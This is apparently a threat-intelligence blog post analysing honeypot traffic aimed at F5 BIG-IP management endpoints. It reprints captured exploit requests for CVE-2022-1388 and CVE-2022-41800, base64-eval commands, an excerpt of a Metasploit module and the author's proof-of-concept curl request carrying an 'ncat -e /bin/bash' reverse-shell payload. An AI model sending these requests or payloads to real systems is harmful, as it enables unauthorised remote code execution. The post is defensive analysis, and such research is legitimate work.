If You’re Going to Spray My Exploit… (CVE-2022-41800)

A look at who’s trying to exploit CVE-2022-41800 in the wild - and how!

Ron Bowes


December 13, 2023

Since it’s a day that ends in “y”, rumors of a currently-unknown F5 BIG-IP 0-day for sale are floating around the internet. I don’t know if it’s true or not, but at GreyNoise we have a unique perspective that others don’t. But, this post won’t be about the 0-day, if such a thing even exists; it’s about something less exciting (but more funny)!

As discussed in a recent Grimoire post by h0wdy, we’re ramping up our use of high-interaction honeypots (or, in some cases, shallow-but-plausible honeypots). I created a very simple clone of the F5 BIG-IP management port, jusssssst enough to look legit enough to be plausible on either the web UI or REST interface:

$ curl -i ''
HTTP/1.1 401 Unauthorized
Date: Wed, 13 Dec 2023 18:17:15 GMT
Content-Type: application/json
Content-Length: 258
Connection: keep-alive

{"code":401,"message":"Authorization failed: no user authentication header or token detected. " [...], "restOperationId":12552635,"kind":":resterrorresponse"}

I deployed that, waited a few days, and checked what I was sent.

Initial PCAP analysis

I ran the honeypot for a couple weeks, enough time to get some interesting traffic. Then I grabbed the PCAP files from our sensor and used tshark to pull out all the unique URLs I saw (with a bit of post-processing to remove IP address information):

$ for i in *.pcap; do tshark -r "$i" -T fields -e http.request.full_uri; done | grep -E '(mgmt|tmui)' | sort | uniq -c | sort -n
    352 http://<IP>/tmui/login.jsp
     25 http://<IP>/tmui/tmui/login/expired_password/app/index.html
     25 http://<IP>/mgmt/shared/authn/login
     18 http://<IP>/tmui/login.jsp?XDEBUG_SESSION_START=phpstorm
     17 http://<IP>/mgmt/tm/util/bash
      4 http://localhost/mgmt/tm/util/bash
      4 http://<IP>/mgmt/tm/auth/user/75a32
      3 http://<IP>/mgmt/tm/auth/user/Y73wZ
      2 http://<IP>/tmui/tmui/login/welcome.jsp
      2 http://<IP>/mgmt/tm/auth/user/BwHkC
      2 http://<IP>/mgmt/shared/iapp/rpm-spec-creator
      1 http://<IP>/tmui/tmui/login/images/logo_f5.png
      1 http://<IP>/tmui/tmui/login/images/logo_f5_new.png
      1 http://<IP>/tmui/login.jsp/xmlrpc.php?rsd
      1 http://<IP>/tmui/login.jsp/wp/wp-includes/wlwmanifest.xml
      1 http://<IP>/tmui/login.jsp/wp1/wp-includes/wlwmanifest.xml
      1 http://<IP>/tmui/login.jsp/wordpress/wp-includes/wlwmanifest.xml
      1 http://<IP>/tmui/login.jsp/web/wp-includes/wlwmanifest.xml
      1 http://<IP>/tmui/login.jsp/test/wp-includes/wlwmanifest.xml
      1 http://<IP>/tmui/login.jsp/site/wp-includes/wlwmanifest.xml
      1 http://<IP>/tmui/login.jsp/shop/wp-includes/wlwmanifest.xml
      1 http://<IP>/tmui/login.jsp/feed/
      1 http://<IP>/tmui/login.jsp/cms/wp-includes/wlwmanifest.xml
      1 http://<IP>/tmui/login.jsp/blog/wp-includes/wlwmanifest.xml
      1 http://<IP>/tmui/login.jsp/2021/wp-includes/wlwmanifest.xml
      1 http://<IP>/tmui/login.jsp/2020/wp-includes/wlwmanifest.xml
      1 http://<IP>/tmui/login.jsp/2019/wp-includes/wlwmanifest.xml
      1 http://<IP>/mgmt/tm/auth/user/user978
      1 http://<IP>/mgmt/tm/auth/user/user919
      1 http://<IP>/mgmt/tm/auth/user/So0hT

That seems promising! We can pretty much eliminate the .png / .jsp / .html stuff - and definitely the Wordpress stuff (love you, Wordpress!); that’s just bots being bots. Let’s pare down the list a bit to what is plausibly interesting:

     25 https://<IP>/mgmt/shared/authn/login
     17 https://<IP>/mgmt/tm/util/bash
      4 https://<IP>/mgmt/tm/auth/user/75a32
      2 https://<IP>/mgmt/shared/iapp/rpm-spec-creator

We’ll look at three of those - no idea what the /auth/user thing is, but it didn’t really seem like anything exciting.

Login page

Let’s use tshark to pull out all the POST requests going to the /login endpoint in all the *.pcap files:

$ for i in *.pcap; do tshark -r "$i" -Y 'http.request.uri == "/mgmt/shared/authn/login"' -T fields -e http.file_data; done | sort | uniq
{"bigipAuthCookie": "", "username": "admin", "loginReference": {"link": "/shared/gossip"}, "userReference": {"link": "https://localhost/mgmt/shared/authz/users/admin"}}
{"username":"75a32", "password":"k9NyQs2yo4st"}\r\n
{"username":"75a32", "password":"KkOdw9BCBsoo2H"}\r\n
{"username":"BwHkC", "password":"aJ4auuxhzHLe5L"}\r\n
{"username":"BwHkC", "password":"AvRmpsfKiyIt"}\r\n
{"username": "nikto", "password": "iYs2MhvIE9XxCLc"}
{"username":"So0hT", "password":"YfcyRlEV0wg03P"}\r\n
{"username": "user123", "password": "password123"}
{"username":"Y73wZ", "password":"GEz0kS1FX1yXWD"}\r\n

Many of those appear to be really basic brute-force attacks - user123 / password123 for example. Also, seemingly random usernames/passwords? Since my honeypot doesn’t return correct login responses, the tools probably aren’t trying to bruteforce too hard - they likely try once then fail and move on. Hopefully those usernames/passwords don’t actually work (but if your name is “So0hT” and your password is “YfcyRlEV0wg03P”, you might want to change it!)

Two of the attempts are actually somewhat interesting:

{"bigipAuthCookie": "", "username": "admin", "loginReference": {"link": "/shared/gossip"}, "userReference": {"link": "https://localhost/mgmt/shared/authz/users/admin"}}

I wasn’t familiar with this vulnerability, but those appear to be attempts to exploit CVE-2021-22986 - an SSRF issue in the authentication parser. But that’s not an 0-day, so let’s move on and look at other traffic!

/mgmt/tm/util/bash - run commands

A somewhat more interesting endpoint is /mgmt/tm/util/bash. I recognized it as a typical target for auth-bypass issues such as CVE-2022-1388. It’s a REST API endpoint that literally just runs commands.

Here are some of the hits to that endpoint, as output by tshark, including the Authorization: header:

$ for i in *.pcap; do tshark -r "$i" -Y 'http.request.uri == "/mgmt/tm/util/bash"' -T fields -e http.request.uri -e http.authorization -e http.file_data; done | sort | uniq
/mgmt/tm/util/bash  Basic YWRtaW46  {"command":"run","utilCmdArgs":"-c echo 2ZTpodfjQaiDohmrZXHAHumUCX6"}\r\n
/mgmt/tm/util/bash  Basic YWRtaW46  {"command": "run", "utilCmdArgs": "-c 'echo smxrdj6mojfar8r2'"}
/mgmt/tm/util/bash  Basic YWRtaW46  {"command":"run","utilCmdArgs":"-c 'eval $(echo ZWNobyB1bGVhdGF0RWZOTnpE | base64 -d)'"}
/mgmt/tm/util/bash  Basic YWRtaW46  {"command":"run","utilCmdArgs":"-c 'eval $(echo ZWNobyBFTWxmTWNJbnd5eEhF | base64 -d)'"}
/mgmt/tm/util/bash  Basic YWRtaW46  {"command":"run","utilCmdArgs":"-c 'eval $(echo ZWNobyBLSUFQVVVKQVNiV1JU | base64 -d)'"}
/mgmt/tm/util/bash  Basic YWRtaW46  {"command": "run", "utilCmdArgs": "-c id"}
/mgmt/tm/util/bash      {"command": "run", "utilCmdArgs": "-c \"echo gqfzx36qkeuvxpmz\""}
/mgmt/tm/util/bash      {"command":"run","utilCmdArgs":"-c id"}\r\n

The majority of those authenticate with the Authorization: header Basic YWRtaW46, which decodes to admin: (aka, username “admin”, blank password). That’s actually part of the exploit for CVE-2022-1388, which requires an Authorization: header with just a username. Here’s a full example of an exploit attempt that’s likely using the Metasploit check method:

POST /mgmt/tm/util/bash HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0
Authorization: Basic YWRtaW46
Host: localhost
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: blxkla
Content-Type: application/json
Content-Length: 88

{"command":"run","utilCmdArgs":"-c 'eval $(echo ZWNobyBLSUFQVVVKQVNiV1JU | base64 -d)'"}

That’s straight from the Metasploit module linked above - both Host: localhost and Authorization: Basic YWRtaW46 is what you’d expect to see in a real CVE-2022-1388 exploit attempt.

The other requests I see to that endpoint are funnier; they set an authentication token, but not a real one:

POST /mgmt/tm/util/bash HTTP/1.1
Connection: close
Content-Length: 41
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Content-Type: application/json
X-F5-Auth-Token: {{token}}
Accept-Encoding: gzip

{"command":"run","utilCmdArgs":"-c id"}

They literally use {{token}} - not really sure what’s going on there. Bad tooling? :)

But what I really want to talk about is the rpm-spec-creator endpoint!

rpm-spec-creator - CVE-2022-41800

Over the period that I ran this honeypot, I saw two instances of somebody trying to hit the /mgmt/shared/iapp/rpm-spec-creator endpoint. That caught my eye in particular, because it’s a vulnerability that I found and reported at my previous role! I even wrote a Metasploit module that implements the attack nicely!

It’s important to note that CVE-2022-41800 is authenticated remote code execution. Which means it behaves pretty much the same as the /bash endpoint above, only by accident. That means that you need to either use an auth bypass vulnerability (such as CVE-2022-1388) or a valid token (not, for example, {{token}}).

Here is one of the exploitation attempts from my logs:

POST /mgmt/shared/iapp/rpm-spec-creator HTTP/1.1
Connection: keep-alive, X-F5-Auth-Token
Content-Length: 249
User-Agent: Mozilla/5.0 (X11; Gentoo; rv:82.1) Gecko/20100101 Firefox/82.1
Accept-Encoding: gzip, deflate
Accept: */*
Content-type: application/json
X-F5-Auth-Token: anything
Authorization: Basic YWRtaW46
Host: localhost

{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", "description": "test8\n\n%check\nsh -c 'echo kl7l 2>&1' > /var/iapps/www/a.txt;sh -c 'echo sdbiivzx 2>&1' >> /var/iapps/www/a.txt", "summary": "test9"}}

When I saw that, I was confused - I often use test-like placeholder strings when I’m working on a vulnerability, but surely I didn’t use test, test6, test7, etc in my exploit, did I?

Cracking open the Metasploit module, I can confirm that nope, I didn’t - I randomized everything to make it harder for, well, people like me:

    name = rand_text_alphanumeric(5..10)
    version = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"
    release = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"

    vprint_status('Creating an .rpmspec file on the target...')

    result = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/rpm-spec-creator'),
      'ctype' => 'application/json',
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'data' => {
        'specFileData' => {
          'name' => name,
          'srcBasePath' => '/tmp',
          'version' => version,
          'release' => release,
          # This is the injection - add newlines then a '%check' section
          'description' => "\n\n%check\n#{payload.encoded}\n",
          'summary' => rand_text_alphanumeric(5..10)

So where’d they get their payload from?

In my technical write-up, I actually did use those fields to demonstrate the issue:

$ curl -sk -uadmin:Password1 -H "Content-Type: application/json" -X POST --data '{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", "description": "test8\n\n%check\nncat -e /bin/bash 4444", "summary": "test9"}}'

Which means that whoever is scanning for CVE-2022-41800 is using my PoC demonstration, adapted from my blog, not the cleaned-up / production-ized exploit I put so much work into.

So anyways: I beseech you, attackers: if you’re going to spray my exploits across the whole internet, use the real exploit and not the crappy demonstration code!! Seriously, you’re making me look bad. :P

Thanks for listening!